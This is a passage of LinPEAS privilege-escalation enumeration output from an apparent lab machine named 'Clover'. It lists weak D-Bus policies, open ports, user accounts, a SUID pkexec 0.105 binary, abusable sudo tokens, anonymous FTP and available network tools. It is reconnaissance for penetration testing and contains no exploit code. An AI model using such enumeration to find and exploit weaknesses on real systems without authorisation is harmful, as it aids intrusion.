org.freedesktop.systemd1                     1 systemd         root             :1.0          -                         -          -                  
org.freedesktop.timedate1                    - -               -                (activatable) -                         -         
org.gnome.DisplayManager                   714 gdm3            root             :1.7          gdm.service               -          -                  
org.opensuse.CupsPkHelper.Mechanism          - -               -                (activatable) -                         -         

╔══════════╣ D-Bus Configuration Files
Analyzing /etc/dbus-1/system.d/avahi-dbus.conf:                                
  └─(Weak user policy found)
     └─   &amp;lt;policy user=&amp;quot;avahi&amp;quot;&amp;gt;
  └─(Weak group policy found)
     └─   &amp;lt;policy group=&amp;quot;netdev&amp;quot;&amp;gt;
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.Avahi&amp;quot;/&amp;gt;
            &amp;lt;allow receive_sender=&amp;quot;org.freedesktop.Avahi&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/bluetooth.conf:
  └─(Weak group policy found)
     └─   &amp;lt;policy group=&amp;quot;bluetooth&amp;quot;&amp;gt;
  &amp;lt;policy group=&amp;quot;lp&amp;quot;&amp;gt;
Analyzing /etc/dbus-1/system.d/com.hp.hplip.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;com.hp.hplip&amp;quot;/&amp;gt;
            &amp;lt;allow send_interface=&amp;quot;com.hp.hplip&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/com.redhat.NewPrinterNotification.conf:
  └─(Allow rules in default context)
             └─                 &amp;lt;allow send_destination=&amp;quot;com.redhat.NewPrinterNotification&amp;quot;
                        &amp;lt;allow send_destination=&amp;quot;com.redhat.NewPrinterNotification&amp;quot;
Analyzing /etc/dbus-1/system.d/com.redhat.PrinterDriversInstaller.conf:
  └─(Allow rules in default context)
             └─                 &amp;lt;allow send_destination=&amp;quot;com.redhat.PrinterDriversInstaller&amp;quot;
                        &amp;lt;allow send_destination=&amp;quot;com.redhat.PrinterDriversInstaller&amp;quot;
Analyzing /etc/dbus-1/system.d/dnsmasq.conf:
  └─(Weak user policy found)
     └─         &amp;lt;policy user=&amp;quot;dnsmasq&amp;quot;&amp;gt;
Analyzing /etc/dbus-1/system.d/gdm.conf:
  └─(Weak user policy found)
     └─   &amp;lt;policy user=&amp;quot;Debian-gdm&amp;quot;&amp;gt;
Analyzing /etc/dbus-1/system.d/nm-avahi-autoipd.conf:
  └─(Multiple weak policies found)
Analyzing /etc/dbus-1/system.d/nm-dispatcher.conf:
  └─(Multiple weak policies found)
Analyzing /etc/dbus-1/system.d/org.freedesktop.Accounts.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.Accounts&amp;quot;/&amp;gt;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.Accounts&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.Accounts&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.ColorManager.conf:
  └─(Weak user policy found)
     └─   &amp;lt;policy user=&amp;quot;colord&amp;quot;&amp;gt;
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.ColorManager&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.ColorManager&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.ColorManager&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.GeoClue2.Agent.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_interface=&amp;quot;org.freedesktop.GeoClue2.Agent&amp;quot;
            &amp;lt;allow send_interface=&amp;quot;org.freedesktop.DBus.Properties&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.GeoClue2.conf:
  └─(Weak user policy found)
     └─   &amp;lt;policy user=&amp;quot;geoclue&amp;quot;&amp;gt;
  └─(Allow rules in default context)
             └─          only share the location if user allows it. --&amp;gt;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.GeoClue2&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/org.freedesktop.ModemManager1.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;!-- Methods listed here are explicitly allowed or PolicyKit protected.
Analyzing /etc/dbus-1/system.d/org.freedesktop.NetworkManager.conf:
  └─(Multiple weak policies found)
Analyzing /etc/dbus-1/system.d/org.freedesktop.PackageKit.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PackageKit&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PackageKit&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PackageKit&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.PolicyKit1.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.PolicyKit1&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/org.freedesktop.RealtimeKit1.conf:
  └─(Weak user policy found)
     └─   &amp;lt;policy user=&amp;quot;rtkit&amp;quot;&amp;gt;
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.RealtimeKit1&amp;quot;/&amp;gt;
            &amp;lt;allow receive_sender=&amp;quot;org.freedesktop.RealtimeKit1&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/org.freedesktop.UDisks2.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.UDisks2&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/org.freedesktop.UPower.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.freedesktop.UPower&amp;quot;
            &amp;lt;allow send_destination=&amp;quot;org.freedesktop.UPower&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.hostname1.conf:
  └─(Allow rules in default context)
             └─                 &amp;lt;allow send_destination=&amp;quot;org.freedesktop.hostname1&amp;quot;/&amp;gt;
                        &amp;lt;allow receive_sender=&amp;quot;org.freedesktop.hostname1&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/org.freedesktop.locale1.conf:
  └─(Allow rules in default context)
             └─                 &amp;lt;allow send_destination=&amp;quot;org.freedesktop.locale1&amp;quot;/&amp;gt;
                        &amp;lt;allow receive_sender=&amp;quot;org.freedesktop.locale1&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/org.freedesktop.login1.conf:
  └─(Allow rules in default context)
             └─                 &amp;lt;allow send_destination=&amp;quot;org.freedesktop.login1&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.machine1.conf:
  └─(Allow rules in default context)
             └─                 &amp;lt;allow send_destination=&amp;quot;org.freedesktop.machine1&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.realmd.conf:
  └─(Allow rules in default context)
             └─                 &amp;lt;allow send_destination=&amp;quot;org.freedesktop.realmd&amp;quot; /&amp;gt;
Analyzing /etc/dbus-1/system.d/org.freedesktop.systemd1.conf:
  └─(Allow rules in default context)
             └─                 &amp;lt;allow send_destination=&amp;quot;org.freedesktop.systemd1&amp;quot;
Analyzing /etc/dbus-1/system.d/org.freedesktop.timedate1.conf:
  └─(Allow rules in default context)
             └─                 &amp;lt;allow send_destination=&amp;quot;org.freedesktop.timedate1&amp;quot;/&amp;gt;
                        &amp;lt;allow receive_sender=&amp;quot;org.freedesktop.timedate1&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/org.opensuse.CupsPkHelper.Mechanism.conf:
  └─(Allow rules in default context)
             └─     &amp;lt;allow send_destination=&amp;quot;org.opensuse.CupsPkHelper.Mechanism&amp;quot;/&amp;gt;
Analyzing /etc/dbus-1/system.d/pulseaudio-system.conf:
  └─(Weak user policy found)
     └─   &amp;lt;policy user=&amp;quot;pulse&amp;quot;&amp;gt;
Analyzing /etc/dbus-1/system.d/wpa_supplicant.conf:
  └─(Weak group policy found)
     └─         &amp;lt;policy group=&amp;quot;netdev&amp;quot;&amp;gt;

══╣ D-Bus Session Bus Analysis
(Access to session bus available)                                              


╔══════════╣ Legacy r-commands (rsh/rlogin/rexec) and host-based trust
                                                                               
══╣ Listening r-services (TCP 512-514)
                                                                               
══╣ systemd units exposing r-services
rlogin|rsh|rexec units Not Found                                               
                                                                               
══╣ inetd/xinetd configuration for r-services
/etc/inetd.conf Not Found                                                      
/etc/xinetd.d Not Found                                                        
                                                                               
══╣ Installed r-service server packages
  No related packages found via dpkg                                           

══╣ /etc/hosts.equiv and /etc/shosts.equiv
                                                                               
══╣ Per-user .rhosts files
.rhosts Not Found                                                              
                                                                               
══╣ PAM rhosts authentication
/etc/pam.d/rlogin|rsh Not Found                                                
                                                                               
══╣ SSH HostbasedAuthentication
  HostbasedAuthentication no or not set                                        

══╣ Potential DNS control indicators (local)
  Not detected                                                                 

╔══════════╣ Crontab UI (root) misconfiguration checks
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs                                                          
crontab-ui Not Found                                                           
                                                                               

                              ╔═════════════════════╗
══════════════════════════════╣ Network Information ╠══════════════════════════════                                                                           
                              ╚═════════════════════╝                          
╔══════════╣ Interfaces
default         0.0.0.0                                                        
loopback        127.0.0.0
link-local      169.254.0.0

eth0      Link encap:Ethernet  HWaddr 00:50:56:2e:26:e8  
          inet addr:172.16.53.36  Bcast:172.16.55.255  Mask:255.255.252.0
          inet6 addr: fe80::250:56ff:fe2e:26e8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:82224 errors:0 dropped:0 overruns:0 frame:0
          TX packets:76069 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:15476322 (14.7 MiB)  TX bytes:7701969 (7.3 MiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:29 errors:0 dropped:0 overruns:0 frame:0
          TX packets:29 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:3222 (3.1 KiB)  TX bytes:3222 (3.1 KiB)


╔══════════╣ Hostname, hosts and DNS
══╣ Hostname Information                                                       
System hostname: Clover                                                        
FQDN: Clover

══╣ Hosts File Information
Contents of /etc/hosts:                                                        
  127.0.0.1     localhost
  127.0.1.1     Clover
  ::1     localhost ip6-localhost ip6-loopback
  ff02::1 ip6-allnodes
  ff02::2 ip6-allrouters

══╣ DNS Configuration
DNS Servers (resolv.conf):                                                     
  114.114.114.114
  114.114.115.115
-e 
Systemd-resolved configuration:
  [Resolve]
-e 
NetworkManager DNS settings:
-e 
DNS Domain Information:
(none)

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                                                                  
══╣ Active Ports (netstat)                                                     
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:42579           0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::111                  :::*                    LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
tcp6       0      0 :::21                   :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
tcp6       0      0 ::1:25                  :::*                    LISTEN      -               
tcp6       0      0 :::37562                :::*                    LISTEN      -               

╔══════════╣ Network Traffic Analysis Capabilities
                                                                               
══╣ Available Sniffing Tools
No sniffing tools found                                                        

══╣ Network Interfaces Sniffing Capabilities
Interface eth0: Not sniffable                                                  
No sniffable interfaces found

╔══════════╣ Firewall Rules Analysis
                                                                               
══╣ Iptables Rules
No permission to list iptables rules                                           

══╣ Nftables Rules
nftables Not Found                                                             
                                                                               
══╣ Firewalld Rules
firewalld Not Found                                                            
                                                                               
══╣ UFW Rules
UFW is not running                                                             

╔══════════╣ Inetd/Xinetd Services Analysis
                                                                               
══╣ Inetd Services
inetd Not Found                                                                
                                                                               
══╣ Xinetd Services
xinetd Not Found                                                               
                                                                               
══╣ Running Inetd/Xinetd Services
Active Services (from netstat):                                                
-e 
Active Services (from ss):
-e 
Running Service Processes:

╔══════════╣ Internet Access?
Port 443 is not accessible with curl                                           
Port 80 is accessible
ICMP is accessible
DNS accessible
Port 443 is not accessible



                               ╔═══════════════════╗
═══════════════════════════════╣ Users Information ╠═══════════════════════════════                                                                           
                               ╚═══════════════════╝                           
╔══════════╣ My user
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#users                                                                       
uid=1000(asta) gid=1000(asta) groups=1000(asta),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),118(bluetooth)

╔══════════╣ PGP Keys and Related Files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#pgp-keys                                                                    
GPG:                                                                           
GPG is installed, listing keys:
-e 
NetPGP:
netpgpkeys Not Found
-e                                                                             
PGP Related Files:
Found: /home/asta/.gnupg
total 20
drwx------  2 asta asta 4096 Dec 14 02:55 .
drwx------ 17 asta asta 4096 Apr  7  2021 ..
-rw-------  1 asta asta 7680 Apr  7  2021 gpg.conf
-rw-------  1 asta asta    0 Apr  7  2021 pubring.gpg
-rw-------  1 asta asta    0 Apr  7  2021 secring.gpg
-rw-------  1 asta asta   40 Apr  7  2021 trustdb.gpg

╔══════════╣ Checking &amp;#39;sudo -l&amp;#39;, /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid                                                               
                                                                               

╔══════════╣ Checking sudo tokens
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#reusing-sudo-tokens                                                         
ptrace protection is disabled (0), so sudo tokens could be abused              

doas.conf Not Found
                                                                               
╔══════════╣ Checking Pkexec and Polkit
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#pe---method-2                                   
                                                                               
══╣ Polkit Binary
Pkexec binary found at: /usr/bin/pkexec                                        
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 23184 Jan 28  2019 /usr/bin/pkexec
pkexec version 0.105

══╣ Polkit Policies
Checking /etc/polkit-1/localauthority.conf.d/:                                 

[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo
Checking /usr/share/polkit-1/rules.d/:
polkit.addRule(function(action, subject) {
  if (action.id == &amp;quot;org.freedesktop.NetworkManager.settings.modify.system&amp;quot; &amp;amp;&amp;amp;
        subject.local &amp;amp;&amp;amp; subject.active &amp;amp;&amp;amp; 
        (subject.isInGroup (&amp;quot;sudo&amp;quot;) || subject.isInGroup (&amp;quot;netdev&amp;quot;))) {
    return polkit.Result.YES;
  }
});
polkit.addRule(function(action, subject) {
    if ((action.id == &amp;quot;org.freedesktop.ModemManager1.Device.Control&amp;quot; ||
         action.id == &amp;quot;org.freedesktop.ModemManager1.Location&amp;quot;) &amp;amp;&amp;amp;
        subject.user == &amp;quot;geoclue&amp;quot;) {
        return polkit.Result.YES;
    }
});
polkit.addRule(function(action, subject) {
        if ((action.id == &amp;quot;org.freedesktop.locale1.set-locale&amp;quot; ||
             action.id == &amp;quot;org.freedesktop.locale1.set-keyboard&amp;quot; ||
             action.id == &amp;quot;org.freedesktop.hostname1.set-static-hostname&amp;quot; ||
             action.id == &amp;quot;org.freedesktop.hostname1.set-hostname&amp;quot; ||
             action.id == &amp;quot;org.gnome.controlcenter.datetime.configure&amp;quot;) &amp;amp;&amp;amp;
            subject.local &amp;amp;&amp;amp;
            subject.active &amp;amp;&amp;amp;
            subject.isInGroup (&amp;quot;sudo&amp;quot;)) {
                    return polkit.Result.YES;
            }
});
polkit.addRule(function(action, subject) {
    if ((action.id == &amp;quot;org.freedesktop.packagekit.upgrade-system&amp;quot; ||
         action.id == &amp;quot;org.freedesktop.packagekit.trigger-offline-update&amp;quot;) &amp;amp;&amp;amp;
        subject.active == true &amp;amp;&amp;amp; subject.local == true &amp;amp;&amp;amp;
        subject.isInGroup(&amp;quot;sudo&amp;quot;)) {
            return polkit.Result.YES;
    }
});

══╣ Polkit Authentication Agent
root       721  0.0  0.1 280100  7464 ?        Ssl  02:28   0:00 /usr/lib/policykit-1/polkitd --no-debug

╔══════════╣ Superusers and UID 0 Users
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html                                                 
                                                                               
══╣ Users with UID 0 in /etc/passwd
root:x:0:0:root:/root:/bin/bash                                                

══╣ Users with sudo privileges in sudoers
                                                                               
╔══════════╣ Users with console
asta:x:1000:1000:asta,,,:/home/asta:/bin/bash                                  
root:x:0:0:root:/root:/bin/bash
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
sword:x:1001:1001:,,,:/home/sword:/bin/bash

╔══════════╣ All users &amp;amp; groups
uid=0(root) gid=0(root) groups=0(root)                                         
uid=1000(asta) gid=1000(asta) groups=1000(asta),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),118(bluetooth)
uid=1001(sword) gid=1001(sword) groups=1001(sword)
uid=100(systemd-timesync) gid=103(systemd-timesync) groups=103(systemd-timesync)
uid=101(systemd-network) gid=104(systemd-network) groups=104(systemd-network)
uid=102(systemd-resolve) gid=105(systemd-resolve) groups=105(systemd-resolve)
uid=103(systemd-bus-proxy) gid=106(systemd-bus-proxy) groups=106(systemd-bus-proxy)                                                                           
uid=104(messagebus) gid=111(messagebus) groups=111(messagebus)
uid=105(avahi) gid=112(avahi) groups=112(avahi)
uid=106(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
uid=107(statd) gid=65534(nogroup) groups=65534(nogroup)
uid=108(avahi-autoipd) gid=117(avahi-autoipd) groups=117(avahi-autoipd)
uid=109(colord) gid=119(colord) groups=119(colord)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=110(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=111(geoclue) gid=120(geoclue) groups=120(geoclue)
uid=112(pulse) gid=122(pulse) groups=122(pulse),29(audio)
uid=113(speech-dispatcher) gid=29(audio) groups=29(audio)
uid=114(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=115(rtkit) gid=124(rtkit) groups=124(rtkit)
uid=116(saned) gid=125(saned) groups=125(saned),113(scanner)
uid=117(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=118(hplip) gid=7(lp) groups=7(lp)
uid=119(Debian-gdm) gid=126(Debian-gdm) groups=126(Debian-gdm)
uid=120(mysql) gid=127(mysql) groups=127(mysql)
uid=121(ftp) gid=128(ftp) groups=128(ftp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=1(daemon[0m) gid=1(daemon[0m) groups=1(daemon[0m)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)

╔══════════╣ Currently Logged in Users
                                                                               
══╣ Basic user information
 02:55:19 up 26 min,  2 users,  load average: 0.31, 0.08, 0.03                 
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
asta     pts/0    172.16.55.210    02:50   36.00s  0.34s  0.00s /bin/sh ./linpeas.sh

══╣ Active sessions
 02:55:19 up 26 min,  2 users,  load average: 0.31, 0.08, 0.03                 
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
asta     pts/0    172.16.55.210    02:50   36.00s  0.34s  0.00s w

══╣ Logged in users (utmp)
           system boot  2025-12-14 10:28                                       
(unknown) ? :0           2025-12-14 02:28   ?           912 (:0)
           run-level 5  2025-12-14 02:28
LOGIN      tty1         2025-12-14 02:28               683 id=tty1
asta     + pts/0        2025-12-14 02:50  old         1354 (172.16.55.210)

══╣ SSH sessions
ESTAB      0      0              172.16.53.36:22           172.16.55.210:58162 

══╣ Screen sessions
                                                                               
══╣ Tmux sessions
                                                                               
╔══════════╣ Last Logons and Login History
                                                                               
══╣ Last logins
asta     pts/0        172.16.55.210    Sun Dec 14 02:50   still logged in      
(unknown :0           :0               Sun Dec 14 02:28   still logged in   
reboot   system boot  3.16.0-11-amd64  Sun Dec 14 10:28 - 02:55  (-7:-33)   
(unknown :0           :0               Sun Dec 14 01:18 - crash  (09:09)    
reboot   system boot  3.16.0-11-amd64  Sun Dec 14 09:18 - 02:55  (-6:-23)   
(unknown :0           :0               Sun Dec 14 01:17 - crash  (08:01)    
reboot   system boot  3.16.0-11-amd64  Sun Dec 14 09:17 - 02:55  (-6:-22)   

wtmp begins Sun Dec 14 09:17:30 2025

══╣ Failed login attempts
                                                                               
══╣ Recent logins from auth.log (limit 20)
                                                                               
══╣ Last time logon each user
Username         Port     From             Latest                              
asta             pts/0    172.16.55.210    Sun Dec 14 02:50:21 -0500 2025
sword            pts/1    kali             Fri Mar 26 17:34:16 -0400 2021

╔══════════╣ Do not forget to test &amp;#39;su&amp;#39; as any other user with shell: without password and with their names as password (I don&amp;#39;t do it in FAST mode...)       
                                                                               
╔══════════╣ Do not forget to execute &amp;#39;sudo -l&amp;#39; without password or with valid password (if you know it)!!                                                    
                                                                               


                             ╔══════════════════════╗
═════════════════════════════╣ Software Information ╠═════════════════════════════                                                                            
                             ╚══════════════════════╝                          
╔══════════╣ Useful software
/usr/bin/base64                                                                
/usr/bin/curl
/usr/bin/lua
/usr/bin/make
/bin/nc.traditional
/usr/bin/ncat
/bin/netcat
/usr/bin/nmap
/usr/bin/perl
/usr/bin/php
/bin/ping
/usr/bin/python
/usr/bin/python2
/usr/bin/python2.7
/usr/bin/python3
/usr/bin/sudo
/usr/bin/wget
/usr/bin/xterm

╔══════════╣ Installed Compilers
/usr/share/gcc-4.9                                                             

╔══════════╣ Analyzing Apache-Nginx Files (limit 70)
Apache version: Server version: Apache/2.4.10 (Debian)                         
Server built:   Sep 30 2019 19:32:08
httpd Not Found
                                                                               
Nginx version: nginx Not Found
                                                                               
/etc/apache2/mods-enabled/php5.conf-&amp;lt;FilesMatch &amp;quot;.+\.ph(p[345]?|t|tml)$&amp;quot;&amp;gt;
/etc/apache2/mods-enabled/php5.conf:    SetHandler application/x-httpd-php
--
/etc/apache2/mods-enabled/php5.conf-&amp;lt;FilesMatch &amp;quot;.+\.phps$&amp;quot;&amp;gt;
/etc/apache2/mods-enabled/php5.conf:    SetHandler application/x-httpd-php-source
--
/etc/apache2/mods-available/php5.conf-&amp;lt;FilesMatch &amp;quot;.+\.ph(p[345]?|t|tml)$&amp;quot;&amp;gt;
/etc/apache2/mods-available/php5.conf:    SetHandler application/x-httpd-php
--
/etc/apache2/mods-available/php5.conf-&amp;lt;FilesMatch &amp;quot;.+\.phps$&amp;quot;&amp;gt;
/etc/apache2/mods-available/php5.conf:    SetHandler application/x-httpd-php-source
══╣ PHP exec extensions
drwxr-xr-x 2 root root 4096 Mar 17  2021 /etc/apache2/sites-enabled            
drwxr-xr-x 2 root root 4096 Mar 17  2021 /etc/apache2/sites-enabled
lrwxrwxrwx 1 root root 35 Mar 17  2021 /etc/apache2/sites-enabled/000-default.conf -&amp;gt; ../sites-available/000-default.conf                                     
&amp;lt;VirtualHost *:80&amp;gt;
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;


-rw-r--r-- 1 root root 1332 Sep 30  2019 /etc/apache2/sites-available/000-default.conf                                                                        
&amp;lt;VirtualHost *:80&amp;gt;
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;
lrwxrwxrwx 1 root root 35 Mar 17  2021 /etc/apache2/sites-enabled/000-default.conf -&amp;gt; ../sites-available/000-default.conf
&amp;lt;VirtualHost *:80&amp;gt;
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;

-rw-r--r-- 1 root root 72664 Jun 28  2020 /etc/php5/apache2/php.ini
allow_url_fopen = On
allow_url_include = Off
odbc.allow_persistent = On
ibase.allow_persistent = 1
mysql.allow_local_infile = On
mysql.allow_persistent = On
mysqli.allow_persistent = On
pgsql.allow_persistent = On
sybct.allow_persistent = On
mssql.allow_persistent = On
-rw-r--r-- 1 root root 72340 Jun 28  2020 /etc/php5/cli/php.ini
allow_url_fopen = On
allow_url_include = Off
odbc.allow_persistent = On
ibase.allow_persistent = 1
mysql.allow_local_infile = On
mysql.allow_persistent = On
mysqli.allow_persistent = On
pgsql.allow_persistent = On
sybct.allow_persistent = On
mssql.allow_persistent = On



╔══════════╣ Analyzing X11 Files (limit 70)
-rw------- 1 asta asta 52 Apr  7  2021 /home/asta/.Xauthority                  

╔══════════╣ Analyzing Rsync Files (limit 70)
-rw-r--r-- 1 root root 1044 Dec 10  2017 /usr/share/doc/rsync/examples/rsyncd.conf                                                                            
[ftp]
        comment = public archive
        path = /var/www/pub
        use chroot = yes
        lock file = /var/lock/rsyncd
        read only = yes
        list = yes
        uid = nobody
        gid = nogroup
        strict modes = yes
        ignore errors = no
        ignore nonreadable = yes
        transfer logging = no
        timeout = 600
        refuse options = checksum dry-run
        dont compress = *.gz *.tgz *.zip *.z *.rpm *.deb *.iso *.bz2 *.tbz


╔══════════╣ Analyzing Wifi Connections Files (limit 70)
drwxr-xr-x 2 root root 4096 Mar 17  2021 /etc/NetworkManager/system-connections
drwxr-xr-x 2 root root 4096 Mar 17  2021 /etc/NetworkManager/system-connections
-rw------- 1 root root 170 Mar 17  2021 /etc/NetworkManager/system-connections/Wired connection 1                                                             


╔══════════╣ Analyzing PAM Auth Files (limit 70)
drwxr-xr-x 2 root root 4096 Mar 26  2021 /etc/pam.d                            
-rw-r--r-- 1 root root 2133 Mar 25  2019 /etc/pam.d/sshd
account    required     pam_nologin.so
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close
session    required     pam_loginuid.so
session    optional     pam_keyinit.so force revoke
session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate
session    optional     pam_mail.so standard noenv # [1]
session    required     pam_limits.so
session    required     pam_env.so # [1]
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open


╔══════════╣ Analyzing Ldap Files (limit 70)
The password hash is from the {SSHA} to &amp;#39;structural&amp;#39;                           
drwxr-xr-x 2 root root 4096 Mar 17  2021 /etc/ldap


╔══════════╣ Analyzing Keyring Files (limit 70)
drwx------ 2 asta asta 4096 Apr  7  2021 /home/asta/.local/share/keyrings      
drwxr-xr-x 2 root root 4096 Mar 17  2021 /usr/share/keyrings

-rw------- 1 asta asta 105 Apr  7  2021 /home/asta/.local/share/keyrings/login.keyring                                                                        

-rw------- 1 asta asta 207 Apr  7  2021 /home/asta/.local/share/keyrings/user.keystore                                                                        


╔══════════╣ Analyzing Postfix Files (limit 70)
-rw-r--r-- 1 root root 694 Mar 22  2014 /usr/share/bash-completion/completions/postfix                                                                        


╔══════════╣ Analyzing FTP Files (limit 70)
-rw-r--r-- 1 root root 6092 Mar 26  2021 /etc/vsftpd.conf                      
anonymous_enable=YES
local_enable=YES
#write_enable=YES
#anon_upload_enable=YES
#anon_mkdir_write_enable=YES
#chown_uploads=YES
#chown_username=whoever
anon_root=/var/ftp/
no_anon_password=YES
-rw-r--r-- 1 root root 564 Feb 21  2016 /usr/share/doc/vsftpd/examples/INTERNET_SITE_NOINETD/vsftpd.conf
anonymous_enable
local_enable
write_enable
anon_upload_enable
anon_mkdir_write_enable
anon_other_write_enable
-rw-r--r-- 1 root root 506 Feb 21  2016 /usr/share/doc/vsftpd/examples/INTERNET_SITE/vsftpd.conf
anonymous_enable
local_enable
write_enable
anon_upload_enable
anon_mkdir_write_enable
anon_other_write_enable
-rw-r--r-- 1 root root 260 Feb  1  2008 /usr/share/doc/vsftpd/examples/VIRTUAL_USERS/vsftpd.conf
anonymous_enable
local_enable=YES
write_enable
anon_upload_enable
anon_mkdir_write_enable
anon_other_write_enable









╔══════════╣ Analyzing Other Interesting Files (limit 70)
-rw-r--r-- 1 root root 3515 Nov  5  2016 /etc/skel/.bashrc                     
-rwx------ 1 asta asta 3515 Mar 17  2021 /home/asta/.bashrc





-rw-r--r-- 1 root root 675 Nov  5  2016 /etc/skel/.profile
-rwx------ 1 asta asta 675 Mar 17  2021 /home/asta/.profile




